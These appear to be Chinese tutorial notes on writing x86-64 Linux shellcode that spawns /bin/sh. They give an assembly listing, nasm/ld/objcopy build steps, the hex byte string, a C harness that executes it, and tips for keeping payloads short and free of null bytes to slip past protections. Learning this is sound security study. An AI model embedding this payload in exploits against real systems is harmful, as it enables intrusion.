这是shellcode的测试代码,具体用途是把shellcode当作命令运行

这是一段标准的shellcode

先看一下shell脚本

nasm生成.o文件, ld生成了.exe文件, 那个warning说cannot find entry symbol _start,这是因为我们的shellcode的文件格式不是标准的,却省,可以不写,他会默认

这个可以执行的shellcode必须符合ELF的文件格式,但是我们传的时候肯定不能给所有的都传过去,我们需要给shellcode给拷贝出来。使用命令就是objcopy

拷贝出来之后code段就拿出来了

Raw Binary与ELF

  1. Raw Binary

  • 二进制文件:直接包含机器码,没有任何多余信息,如段表、符号表等。这种文件可以非常简单地被加载并执行。

  • 加载和执行:只需要将机器码加载到内存中的某个起始地址,然后将控制权交给该地址的指令。例如:

    FILE *fp = fopen("vmlinux.bin", "rb");
    fread(VMLINUX_START, 1, VMLINUX_SIZE, fp);
    ((void (*)(void))VMLINUX_START)();  // 将控制权交给VMLINUX_START处的代码
    

    上述代码中的VMLINUX_START是二进制文件加载到的内存地址,代码执行时直接跳转到该地址执行其中的指令。

  1. ELF程序

  • ELF文件:除了包含机器码之外,还包含很多元数据信息,比如符号表、段表、重定位表等。ELF文件的这些信息是用于辅助加载器正确地将程序加载到内存并准备好执行环境的。

  • ELF Loader:在执行ELF文件时,需要由操作系统中的ELF Loader进行处理。ELF Loader会根据ELF文件中的段表、符号表等信息,将各个段加载到合适的内存地址,并处理重定位、动态链接等任务,确保程序能够正确运行。

  • 内核环境:Linux内核在启动时,没有标准的ELF Loader。因此,内核本身不能直接加载和执行ELF格式的程序。为了简化启动过程,通常会采用raw binary格式的文件,因为这种文件可以直接被加载和执行。

总结:

  • Raw Binary文件简单易执行,因为它只包含机器码,内核启动时可以直接加载到内存并执行。

  • ELF文件则需要更复杂的加载过程,涉及到段表、符号表、重定位表等内容,这就需要一个ELF Loader来解析这些信息并正确加载程序。

通过raw binary格式来启动程序可以避免依赖ELF Loader,适合在系统启动时使用,因为在这种环境下可能没有成熟的加载器支持。

shellcode传参的时候,只要是 h s n i b 中间在哪加/都可以,例如//bin/sh /bin//sh /bin/sh/

在创建64位的Shellcode时,通常需要注意以下几点:

  1. 尽可能减少Shellcode的长度:这样可以避免某些防护机制的检测。

  2. 无空字节:避免出现 0x00,因为这可能会终止字符串。

  3. 跨平台兼容性:通常选择 Linux 或 Windows 环境,并针对特定架构进行编写。

我们可以从最常见的Linux x86_64平台入手,编写一个64位的Shellcode,执行 /bin/sh。这是一个最经典的Shellcode类型:

64位Linux平台上的Shellcode:

section .text
    global _start

_start:
    ; execve("/bin/sh", ["/bin/sh", NULL], NULL)

    ; 使用 system call execve, system call number for execve is 59

    xor rax, rax            ; 将 RAX 置为 0
    mov rdi, rsp            ; 将 "/bin/sh" 放到栈中,并让 RDI 指向它
    push rax                ; 在栈中放一个 NULL 作为字符串结束符
    movabs rbx, 0x68732f6e69622f2f ; "/bin/sh"
    push rbx                ; 将 "/bin/sh" 压入栈中
    mov rdi, rsp            ; RDI 指向 "/bin/sh" 字符串
    push rax                ; 压入 NULL (argv[1])
    push rdi                ; 压入 "/bin/sh" (argv[0])
    mov rsi, rsp            ; RSI 指向 argv
    xor rdx, rdx            ; RDX 为 NULL, 表示 envp
    mov al, 59              ; execve 的系统调用号
    syscall                 ; 执行系统调用

汇编编译成Shellcode:

我们可以使用 nasm 编译汇编代码为二进制文件,之后提取出Shellcode:

nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode
objcopy --dump-section .text=shellcode.bin shellcode
xxd -i shellcode.bin

这个流程可以生成对应的Shellcode,将其以十六进制字节流的方式嵌入其他程序中进行执行。

如果你想要运行测试这个Shellcode,可以在C语言或汇编语言中使用如下方式加载并运行它:

在C代码中加载执行Shellcode:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = 
"\x48\x31\xc0\x48\x89\xe7\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73"
"\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";

int main() {
    printf("Shellcode Length:  %ld\n", sizeof(shellcode)-1);
    void (*ret)() = (void(*)())shellcode;
    ret();
    return 0;
}